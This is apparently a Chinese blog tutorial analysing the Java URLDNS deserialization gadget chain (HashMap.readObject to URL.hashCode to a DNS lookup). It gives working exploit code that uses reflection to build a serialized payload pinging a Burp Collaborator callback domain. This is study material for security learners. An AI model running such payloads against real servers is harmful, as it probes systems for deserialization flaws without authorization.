前言

第一个gadget chain分析,因为zhege比较简单。

触发反序列化的条件
  1. 类要继承Serializable:java的序列化以及反序列化一定要继承Serializable。
  2. 找到入口类(重写readObject,调用常见的函数,参数类型宽泛,最好jdk自带)
  3. 调用链 相同名称,相同类型
  4. 执行类中的方法(RCE,SSRF等漏洞)
  5. 反序列化入口
分析

(我认为)挖gadget需要先找到执行类,猜测URLDNS的作者可能是想挖一个SSRF,因此想到URL这个原生类。因为要挖链子,所以要尽量找同名的方法,可以看到URL有hashCode方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

跟进handler.hashCode(),可以看到执行了getHostAddress方法。

而getHostAddress方法执行了getByName方法,getByName方法用于解析域名,该DNS解析过程自然是服务端发起的请求,也就达到了SSRF的目的。

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);//关键
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

现在找到了链子的后半段:

URL.hashCode() ->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()->InetAddress.getByName()

接下来找连接URL.hashCode()的前半段,很容易想到最好是原生类,并且readObject方法中一层接一层最终触发了hashCode方法。观察HashMap类的readObject最后几行调用了hash方法,而如果key不为null则调用key的hashCode方法,也就是说如果key是URL类的对象,则就会调用URL.hashCode()。

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        //...略
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

因此整条链子:

HashMap.readObject()->HashMap.hash()->URL.hashCode()->URL.hashCode() ->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()->InetAddress.getByName()
错误的exp
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HashMap<Object,String> hashmap=new HashMap<Object,String>();
        hashmap.put(new URL("http://?????.ceye.io"),"Squirt1e");
//        serialize(hashmap);
        unserialize();
    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt")) ;
        oos.writeObject(object);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.txt"));
        HashMap<Object,String> hashmap = (HashMap) ois.readObject();
    }
}

本地测试执行反序列化会发现并没有触发DNS解析。

这是因为Hashmap的put方法也会执行URL的hashCode()

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

注意到如果hashCode不等于初始化的-1时则直接return hashCode,如果用这个序列化的字节流反序列化肯定不会进行DNS解析。因此,我们需要修改hashCode的值为-1。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
最终exp

通过反射修改属性即可,注意hashCode为私有属性。需要通过setAccessible设置作用域。

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<Object,String> hashmap=new HashMap<Object,String>();
        URL url=new URL("http://nqhaouynesbyaf4nivnxzrpwangh46.burpcollaborator.net");
        hashmap.put(url,"Squirt1e");
        Class clazz=url.getClass();
        Field hashcode=clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,-1);
//        serialize(hashmap);
        unserialize();
    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt")) ;
        oos.writeObject(object);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.txt"));
        HashMap<Object,String> hashmap = (HashMap) ois.readObject();
    }
}
参考链接

1.https://blog.csdn.net/qq_47886905/article/details/123531299

2.https://www.bilibili.com/video/BV16h411z7o9?p=2&vd_source=fc78460cf16000301f7b3b1c07529ee0

3.https://www.cnblogs.com/starrys/p/15564335.html

4.https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java